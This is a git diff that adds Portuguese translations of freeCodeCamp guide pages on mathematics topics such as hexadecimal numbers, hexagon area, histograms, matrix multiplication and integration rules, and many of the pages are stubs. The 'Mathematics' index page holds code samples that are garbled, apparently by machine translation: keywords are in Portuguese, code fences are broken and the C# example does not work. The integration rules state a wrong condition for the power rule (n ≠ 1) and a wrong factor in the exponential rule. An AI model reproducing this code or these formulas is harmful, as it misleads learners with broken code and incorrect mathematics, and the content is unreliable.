+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/half-angle-formulas/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/hexadecimal-number-system/index.md b/client/src/guide/portuguese/mathematics/hexadecimal-number-system/index.md
new file mode 100644
index 0000000000..8d2f1f44a1
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/hexadecimal-number-system/index.md
@@ -0,0 +1,11 @@
+---
+title: Hexadecimal Number System
+localeTitle: Sistema Numérico Hexadecimal
+---
+## Sistema de números hexadecimais:
+
+O sistema de numeração hexadecimal é um sistema de numeração que usa a base 16. Hexa = 6 e decimal = 10, combinação de 'hexa' e 'decimal' dá uso ao sistema numérico de base 16. Os números em hexadecimal são: 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 = A, 11 = B, 12 = C, 13 = D, 14 = E e 15 = F. O sistema numérico hexadecimal é muito útil no campo da computação como a criptografia.
+
+#### Mais Informações:
+
+[Wikipedia](https://en.m.wikipedia.org/wiki/Hexadecimal)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/hexagon/index.md b/client/src/guide/portuguese/mathematics/hexagon/index.md
new file mode 100644
index 0000000000..6a1e0cb8dd
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/hexagon/index.md
@@ -0,0 +1,29 @@
+---
+title: Hexagon
+localeTitle: Hexágono
+---
+## Hexágono
+
+Um hexágono é um polígono com seis lados. A soma dos ângulos internos totaliza 720 °. Em um hexágono regular, cada ângulo individual mede 120 °.
+
+![a regular hexagon](https://upload.wikimedia.org/wikipedia/commons/thumb/c/cb/Hexagon_1.svg/2000px-Hexagon_1.svg.png)
+
+### Área
+
+A fórmula para a área de um hexágono regular com comprimento lateral `s` é:
+
+`A = (3√3*s<sup>2</sup>)/ 2`
+
+Para um hexágono com comprimento de lado de 4, a área seria calculada como:
+
+`(3√3*<b>4</b><sup>2</sup>)/ 2 ≈ 41.57`
+
+### Exemplos
+
+Um exemplo natural de uma grade hexagonal são os favos de abelha.
+
+![um favo de mel](https://upload.wikimedia.org/wikipedia/commons/3/3d/Honeycomb_15_03_2012.jpg)  
+
+Um exemplo não natural de uma grade hexagonal é o prédio da Suprema Corte do Condado de Nova York na Foley Square, Manhattan:
+
+![Edifício da Suprema Corte de Nova York](http://www.secretsinplainsight.com/wp-content/uploads/NY-Supreme-Court.jpg)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/histograms/index.md b/client/src/guide/portuguese/mathematics/histograms/index.md
new file mode 100644
index 0000000000..99070dec3e
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/histograms/index.md
@@ -0,0 +1,13 @@
+---
+title: Histograms
+localeTitle: Histogramas
+---
+## Histogramas
+
+Um histograma é um gráfico para descobrir a distribuição de frequência subjacente de um conjunto de dados. A idéia geral é dividir o conjunto de dados em grupos de igual comprimento para visualizar o padrão de uma lista básica de números.
+
+Os histogramas são um meio de exibir dados numéricos visualmente com base em sua distribuição. Eles graficamente podem parecer semelhantes a gráficos de barras, mas usam agrupamentos de informações em vez de pontos de dados singulares. Isso produz intervalos de dados não sobrepostos para informar mais sobre a distribuição de dados no intervalo total de dados. Assista a um vídeo sobre histogramas [aqui](https://www.khanacademy.org/math/pre-algebra/pre-algebra-math-reasoning/pre-algebra-picture-bar-graphs/v/histograms) .
+
+#### Mais Informações:
+
+[Compreender histogramas](https://statistics.laerd.com/statistical-guides/understanding-histograms.php) [Histogramas](https://www.mathsisfun.com/data/histograms.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/horizontal-asymptotes/index.md b/client/src/guide/portuguese/mathematics/horizontal-asymptotes/index.md
new file mode 100644
index 0000000000..bdcbac9c4c
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/horizontal-asymptotes/index.md
@@ -0,0 +1,11 @@
+---
+title: Horizontal Asymptotes
+localeTitle: Assíntotas Horizontais
+---
+## Assíntotas Horizontais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/horizontal-asymptotes/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/how-to-add-and-subtract-with-powers/index.md b/client/src/guide/portuguese/mathematics/how-to-add-and-subtract-with-powers/index.md
new file mode 100644
index 0000000000..5c115b7752
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/how-to-add-and-subtract-with-powers/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Add and Subtract with Powers
+localeTitle: Como adicionar e subtrair com poderes
+---
+## Como adicionar e subtrair com poderes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/how-to-add-and-subtract-with-powers/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/how-to-calculate-the-margin-of-error-for-a-sample-proportion/index.md b/client/src/guide/portuguese/mathematics/how-to-calculate-the-margin-of-error-for-a-sample-proportion/index.md
new file mode 100644
index 0000000000..3a2fbd9a32
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/how-to-calculate-the-margin-of-error-for-a-sample-proportion/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Calculate the Margin of Error for a Sample Proportion
+localeTitle: Como calcular a margem de erro para uma proporção de amostra
+---
+## Como calcular a margem de erro para uma proporção de amostra
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/how-to-calculate-the-margin-of-error-for-a-sample-proportion/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/how-to-calculate-the-mean-value/index.md b/client/src/guide/portuguese/mathematics/how-to-calculate-the-mean-value/index.md
new file mode 100644
index 0000000000..3275be8f1b
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/how-to-calculate-the-mean-value/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Calculate the Mean Value
+localeTitle: Como calcular o valor médio
+---
+## Como calcular o valor médio
+
+Um meio não é nada além da média dos números.
+
+#### Exemplos
+
+1.  Qual é a média de 10, 2, 3? A. média = (10 + 2 + 3) / 3, = 15/3 = 5. Então, a média de 10, 2, 3 é 5.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/how-to-determine-a-p-value-when-testing-a-null-hypothesis/index.md b/client/src/guide/portuguese/mathematics/how-to-determine-a-p-value-when-testing-a-null-hypothesis/index.md
new file mode 100644
index 0000000000..c12800b81b
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/how-to-determine-a-p-value-when-testing-a-null-hypothesis/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Determine a P Value When Testing a Null Hypothesis
+localeTitle: Como determinar um valor P ao testar uma hipótese nula
+---
+## Como determinar um valor P ao testar uma hipótese nula
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/how-to-determine-a-p-value-when-testing-a-null-hypothesis/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/how-to-divide-exponents/index.md b/client/src/guide/portuguese/mathematics/how-to-divide-exponents/index.md
new file mode 100644
index 0000000000..f72dbe4837
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/how-to-divide-exponents/index.md
@@ -0,0 +1,21 @@
+---
+title: How to Divide Exponents
+localeTitle: Como dividir expoentes
+---
+## Como dividir expoentes
+
+Você pode dividir expressões exponenciais, deixando as respostas como expressões exponenciais, desde que as bases sejam as mesmas.
+
+Para dividir expoentes (ou potências) com a mesma base, subtraia os expoentes. Divisão é o oposto da multiplicação, então faz sentido que, como você adiciona expoentes ao multiplicar números com a mesma base, você subtrai os expoentes ao dividir números com a mesma base.
+
+#### Terminologia
+
+a ^ b, então a é a base eb é exponencial.
+
+#### Exemplos
+
+![Exemplo](http://d2r5da613aq50s.cloudfront.net/wp-content/uploads/165077.image0.png)
+
+#### Nota
+
+Qualquer número para a potência de zero é igual a 1, desde que o número base não seja 0.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/how-to-factor-a-polynomial-expression/index.md b/client/src/guide/portuguese/mathematics/how-to-factor-a-polynomial-expression/index.md
new file mode 100644
index 0000000000..28c784a197
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/how-to-factor-a-polynomial-expression/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Factor a Polynomial Expression
+localeTitle: Como fatorar uma expressão polinomial
+---
+## Como fatorar uma expressão polinomial
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/how-to-factor-a-polynomial-expression/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/how-to-find-probabilities-for-z-with-the-z-table/index.md b/client/src/guide/portuguese/mathematics/how-to-find-probabilities-for-z-with-the-z-table/index.md
new file mode 100644
index 0000000000..ba1a4f6100
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/how-to-find-probabilities-for-z-with-the-z-table/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Find Probabilities for Z with the Z Table
+localeTitle: Como encontrar probabilidades para Z com a tabela Z
+---
+## Como encontrar probabilidades para Z com a tabela Z
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/how-to-find-probabilities-for-z-with-the-z-table/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/how-to-find-the-limit-of-a-function-algebraically/index.md b/client/src/guide/portuguese/mathematics/how-to-find-the-limit-of-a-function-algebraically/index.md
new file mode 100644
index 0000000000..987cd4f163
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/how-to-find-the-limit-of-a-function-algebraically/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Find the Limit of a Function Algebraically
+localeTitle: Como encontrar o limite de uma função algebricamente
+---
+## Como encontrar o limite de uma função algebricamente
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/how-to-find-the-limit-of-a-function-algebraically/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/how-to-find-the-median-value/index.md b/client/src/guide/portuguese/mathematics/how-to-find-the-median-value/index.md
new file mode 100644
index 0000000000..55bd58142b
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/how-to-find-the-median-value/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Find the Median Value
+localeTitle: Como encontrar o valor mediano
+---
+## Como encontrar o valor mediano
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/how-to-find-the-median-value/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/how-to-interpret-a-correlation-coefficient-r/index.md b/client/src/guide/portuguese/mathematics/how-to-interpret-a-correlation-coefficient-r/index.md
new file mode 100644
index 0000000000..fb940de42f
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/how-to-interpret-a-correlation-coefficient-r/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Interpret a Correlation Coefficient R
+localeTitle: Como interpretar um coeficiente de correlação R
+---
+## Como interpretar um coeficiente de correlação R
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/how-to-interpret-a-correlation-coefficient-r/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/how-to-multiply-matrices/index.md b/client/src/guide/portuguese/mathematics/how-to-multiply-matrices/index.md
new file mode 100644
index 0000000000..ff18cfdb5a
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/how-to-multiply-matrices/index.md
@@ -0,0 +1,49 @@
+---
+title: How to Multiply Matrices
+localeTitle: Como multiplicar matrizes
+---
+## Como multiplicar matrizes
+
+A primeira regra importante é: o número de colunas na matriz A deve corresponder ao número de linhas na coluna B.
+
+A segunda regra para calcular o produto de duas matrizes é: Coluna Linha X.
+
+![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e1/Matrix_multiplication_principle.svg/320px-Matrix_multiplication_principle.svg.png)
+
+A dimensão da matriz resultante será linhas da primeira matriz X colunas da segunda matriz.
+
+Sejam A e B duas matrizes de dimensão 2, isto é, 2 X 2. Seu produto será:
+
+![](http://www.i-programmer.info/images/stories/News/2011/DEC/A/matrix1.jpg)
+
+As linhas da matriz resultante são a soma do produto dos elementos da primeira linha da matriz pelos elementos da segunda coluna da matriz.
+
+#### Exemplo
+
+Seja A uma matriz 2 X 3 e B seja uma matriz 3 X 2. O produto AB será:
+
+*   **Passo 1**
+
+![](http://www.mathportal.org/linear-algebra/matrices/matrix-operations_files/12.gif)
+
+*   **Passo 2**
+
+![](http://www.mathportal.org/linear-algebra/matrices/matrix-operations_files/13.gif)
+
+*   **etapa 3**
+
+![](http://www.mathportal.org/linear-algebra/matrices/matrix-operations_files/14.gif)
+
+*   **Passo 4**
+
+![](http://www.mathportal.org/linear-algebra/matrices/matrix-operations_files/15.gif)
+
+#### Atenção!
+
+Diferentemente da álgebra de números reais, o produto AB nem sempre é igual a BA. Calcule-o usando o exemplo acima e descubra.
+
+#### Mais Informações:
+
+![Palestra sobre multiplicação de matrizes](https://www.khanacademy.org/math/precalculus/precalc-matrices/multiplying-matrices-by-matrices/v/matrix-multiplication-intro)
+
+![Propriedades da multiplicação de matrizes](https://www.khanacademy.org/math/precalculus/precalc-matrices/properties-of-matrix-multiplication/a/properties-of-matrix-multiplication)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/how-to-use-the-t-table-to-solve-statistics-problems/index.md b/client/src/guide/portuguese/mathematics/how-to-use-the-t-table-to-solve-statistics-problems/index.md
new file mode 100644
index 0000000000..020e05837e
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/how-to-use-the-t-table-to-solve-statistics-problems/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Use the T Table to Solve Statistics Problems
+localeTitle: Como usar a tabela T para resolver problemas de estatísticas
+---
+## Como usar a tabela T para resolver problemas de estatísticas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/how-to-use-the-t-table-to-solve-statistics-problems/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/how-to-use-the-z-table/index.md b/client/src/guide/portuguese/mathematics/how-to-use-the-z-table/index.md
new file mode 100644
index 0000000000..a8ab4a3296
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/how-to-use-the-z-table/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Use the Z Table
+localeTitle: Como usar a tabela Z
+---
+## Como usar a tabela Z
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/how-to-use-the-z-table/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/how-to-work-with-30-60-90-degree-triangles/index.md b/client/src/guide/portuguese/mathematics/how-to-work-with-30-60-90-degree-triangles/index.md
new file mode 100644
index 0000000000..32d9cdb1d0
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/how-to-work-with-30-60-90-degree-triangles/index.md
@@ -0,0 +1,16 @@
+---
+title: How to Work with 30 60 90 Degree Triangles
+localeTitle: Como trabalhar com 30 60 triângulos de 90 graus
+---
+## Como trabalhar com 30 60 triângulos de 90 graus
+
+O triângulo 30-60-90 é um triângulo retângulo especial com ângulos de 30 graus, 60 graus e 90 graus. Por causa dessa propriedade de ângulos, os lados do triângulo estão sempre na seguinte proporção:
+
+Lado oposto ao ângulo de 30 °: Lado oposto ao ângulo de 60 °: Lado oposto ao ângulo de 90 ° = ![](https://latex.codecogs.com/svg.latex?$&space;1&space;:&space;\sqrt{3}&space;:&space;2&space;$ "$ 1: \ sqrt {3}: 2 $")  
+
+Se for mencionado que o triângulo dado é um triângulo 30-60-90 e um dos lados é dado, então podemos calcular as medidas dos outros lados.
+
+Considere um triângulo 30-60-90 com a hipotenusa (lado oposto a 90 °) é 6.  
+Então a medida do lado oposto a 30 ° é 3 e a medida do lado oposto a 60 ° é ![](https://latex.codecogs.com/svg.latex?$&space;3\sqrt{3}&space;$ "$ 3 \ sqrt {3} $")
+
+Da mesma forma, podemos calcular a medida dos lados restantes quando a medida de um lado é dada.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/identifying-the-45-45-90-degree-triangle/index.md b/client/src/guide/portuguese/mathematics/identifying-the-45-45-90-degree-triangle/index.md
new file mode 100644
index 0000000000..cb0c45558c
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/identifying-the-45-45-90-degree-triangle/index.md
@@ -0,0 +1,11 @@
+---
+title: Identifying the 45 45 90 Degree Triangle
+localeTitle: Identificando o triângulo de 45 45 90 graus
+---
+## Identificando o triângulo de 45 45 90 graus
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/identifying-the-45-45-90-degree-triangle/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/imaginary-numbers/index.md b/client/src/guide/portuguese/mathematics/imaginary-numbers/index.md
new file mode 100644
index 0000000000..14dd83e8b1
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/imaginary-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Imaginary Numbers
+localeTitle: Números Imaginários
+---
+## Números Imaginários
+
+Um número imaginário "i" é definido simplesmente como a raiz quadrada de -1. Em outras palavras i 2 = -1. Uma das razões pelas quais você usaria os números imaginários (ou números complexos, como outros chamam) é para que você possa manipular equações ou expressões que contenham a raiz quadrada de -1.
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/implicit-differentiation/index.md b/client/src/guide/portuguese/mathematics/implicit-differentiation/index.md
new file mode 100644
index 0000000000..1c912007c8
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/implicit-differentiation/index.md
@@ -0,0 +1,11 @@
+---
+title: Implicit Differentiation
+localeTitle: Diferenciação implícita
+---
+## Diferenciação implícita
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/implicit-differentiation/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/improper-fractions/index.md b/client/src/guide/portuguese/mathematics/improper-fractions/index.md
new file mode 100644
index 0000000000..589a5d8083
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/improper-fractions/index.md
@@ -0,0 +1,11 @@
+---
+title: Improper Fractions
+localeTitle: Frações impróprias
+---
+## Frações impróprias
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/improper-fractions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/indefinite-integral-of-1-over-x/index.md b/client/src/guide/portuguese/mathematics/indefinite-integral-of-1-over-x/index.md
new file mode 100644
index 0000000000..133f7c08d9
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/indefinite-integral-of-1-over-x/index.md
@@ -0,0 +1,11 @@
+---
+title: Indefinite Integral of 1 Over X
+localeTitle: Integral indefinida de 1 sobre X
+---
+## Integral indefinida de 1 sobre X
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/indefinite-integral-of-1-over-x/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/index.md b/client/src/guide/portuguese/mathematics/index.md
new file mode 100644
index 0000000000..b47a36214f
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/index.md
@@ -0,0 +1,96 @@
+---
+title: Mathematics
+localeTitle: Matemática
+---
+## Matemática
+
+Nesta seção, temos guias para uma ampla variedade de conceitos matemáticos.
+
+### Matemática na programação
+
+Embora seja uma boa prática criar funções matemáticas por conta própria, existem bibliotecas matemáticas disponíveis para uso em muitas linguagens de programação. Estes tem funções predeterminadas que você pode utilizar para executar cálculos. Na programação, você costuma abordar tópicos como esses em cursos da divisão superior sobre a teoria da computação, o design de algoritmos e o design da linguagem computacional.
+
+#### Sequência de Fibonacci (funções geradoras)
+
+Nós todos sabemos que o exercício de recursão começa com a resolução de uma seqüência de fibonaaci. É também o primeiro exemplo que mostra o poder da programação dinâmica. Então, é o caso especial de uma classe de matemática conhecida como funções geradoras. Então, o que estaremos discutindo aqui se aplica em geral a toda função genrativa. Existe um conceito em matemática que "Cada função geradora tem uma sequência e cada sequência tem uma função geradora". Mas o problema surge na segunda parte. Nem sempre é fácil encontrar o gerador em geral. Para relembrar isso, faço uma analogia ao número racional não terminador "Se você conhece o número na forma decimal, não é fácil encontrar a forma fracionária correspondente, mas se nós sabemos a fração, é sempre fácil encontrar a decimal Formato". Então, geralmente estudamos algumas funções geradoras bastante bonitas, em termos de sua sequência. Por quê? Porque sabemos que as sequências podem ser facilmente manipuladas por um grande número de paradigmas algorítmicos. Algumas famosas sequências conhecidas são fibonacci, hadamard (semelhante ao catalão), etc.
+
+### Incluindo bibliotecas de matemática
+
+Nesta seção, mostraremos como incluir a biblioteca matemática padrão em diferentes idiomas, incluindo um pequeno exemplo de como você pode usá-la.
+
+#### C
+
+\`\` \`cs using System.Math;
+
+Calculadora de classe pública {
+
+private int \[\] array = {1, 2, 3, 4, 5};
+
+private int CalculatePoweredArray (int potência, int \[\] arr) { var poweredArray = arr; foreach (int nmbr em poweredArray) { nmbr = Math.Pow (nmbr, potência); // Primeiro argumento é o número a ser levantado, segundo argumento é o poder } return poweredArray; }
+
+}
+```
+Calling the function with a power of 3 will give these results: 
+ [1, 8, 27, 64, 125] 
+ 
+ Documentation reference: <a href='https://msdn.microsoft.com/en-us/library/system.math(v=vs.110' target='_blank' rel='nofollow'>MSDN</a>.aspx) 
+ 
+ #### JavaScript 
+ With Node.js 
+```
+
+javascript var math = require ('mathjs');
+```
+In the browser 
+```
+
+html
+
+// use the math.js libary math.sqrt(-4); // result: 2i
+```
+Documentation reference: <a href='http://mathjs.org/docs/index.html' target='_blank' rel='nofollow'>Math.js documentation</a> 
+ 
+ #### C++ 
+```
+
+cpp
+
+# incluir
+```
+Documentation reference: <a href='http://www.cplusplus.com/reference/cmath/' target='_blank' rel='nofollow'>cplusplus reference</a> 
+ 
+ #### Python 
+```
+
+python
+
+> > > importar matemática math.sqrt (9) // leva em consideração apenas raízes positivas 3,0 math.pi // você também pode utilizar consoantes matemáticas como pi e e 3,141592653589793 math.radians (90) // converte graus em radianos 1,5707963267948966
+```
+In addition to the standard `math` module, there are several other mathematical helper libraries available on [PyPI](https://pypi.org/). For example: 
+```
+
+Concha $ pip install numpy $ python
+
+> > > import numpy como np np.zeros ((3,4))
+```
+This returns a 3x4 array populated with 0s. 
+ 
+ #### Java 
+```
+
+Java import java.lang.Math
+```
+The `math` module can also be imported as follows, and the usage difference is illustrated: 
+```
+
+python
+
+> > > da importação de matemática \* sqrt (4) 2,0 pi 3,141592653589793
+
+\`\` \`
+
+Referência da documentação: [Python 2](https://docs.python.org/2/library/math.html) | [Python 3](https://docs.python.org/3/library/math.html)
+
+### Recursos adicionais
+
+Visualizações animadas de conceitos matemáticos podem ser encontradas em [3 Blue 1 Brown](http://www.3blue1brown.com/) and [Khan Academy](https://www.khanacademy.org/) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/inductive-and-deductive-reasoning/index.md b/client/src/guide/portuguese/mathematics/inductive-and-deductive-reasoning/index.md
new file mode 100644
index 0000000000..c56ea6e812
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/inductive-and-deductive-reasoning/index.md
@@ -0,0 +1,11 @@
+---
+title: Inductive and Deductive Reasoning
+localeTitle: Raciocínio Indutivo e Dedutivo
+---
+## Raciocínio Indutivo e Dedutivo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/inductive-and-deductive-reasoning/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/infinite-geometric-series/index.md b/client/src/guide/portuguese/mathematics/infinite-geometric-series/index.md
new file mode 100644
index 0000000000..9c2a4a76f9
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/infinite-geometric-series/index.md
@@ -0,0 +1,11 @@
+---
+title: Infinite Geometric Series
+localeTitle: Série Geométrica Infinita
+---
+## Série Geométrica Infinita
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/infinite-geometric-series/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/integral/index.md b/client/src/guide/portuguese/mathematics/integral/index.md
new file mode 100644
index 0000000000..654f9a005f
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/integral/index.md
@@ -0,0 +1,11 @@
+---
+title: Integral
+localeTitle: Integrante
+---
+## Integrante
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/integral/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/integration-by-parts/index.md b/client/src/guide/portuguese/mathematics/integration-by-parts/index.md
new file mode 100644
index 0000000000..4372eeb58e
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/integration-by-parts/index.md
@@ -0,0 +1,11 @@
+---
+title: Integration by Parts
+localeTitle: Integração por partes
+---
+## Integração por partes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/integration-by-parts/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/integration-rules/index.md b/client/src/guide/portuguese/mathematics/integration-rules/index.md
new file mode 100644
index 0000000000..51d71893d7
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/integration-rules/index.md
@@ -0,0 +1,31 @@
+---
+title: Integration Rules
+localeTitle: Regras de Integração
+---
+## Regras de Integração
+
+Assim como na diferenciação, usamos uma variedade de regras ao integrar funções. Abaixo estão alguns dos mais comuns.
+
+**A Regra da Constante:** Dk dx = kx + C onde k é uma constante
+
+**A Regra de Poder:** ∫ x n dx = + x n + 1 ⁄ n + 1 + C quando n ≠ 1
+
+**Regra Exponencial:** ∫ e kx dx = 1 ⁄ kx e kx + C onde k é uma constante
+
+**Regras Trigométricas:**
+
+∫ cos (x) dx = sen (x) + C
+
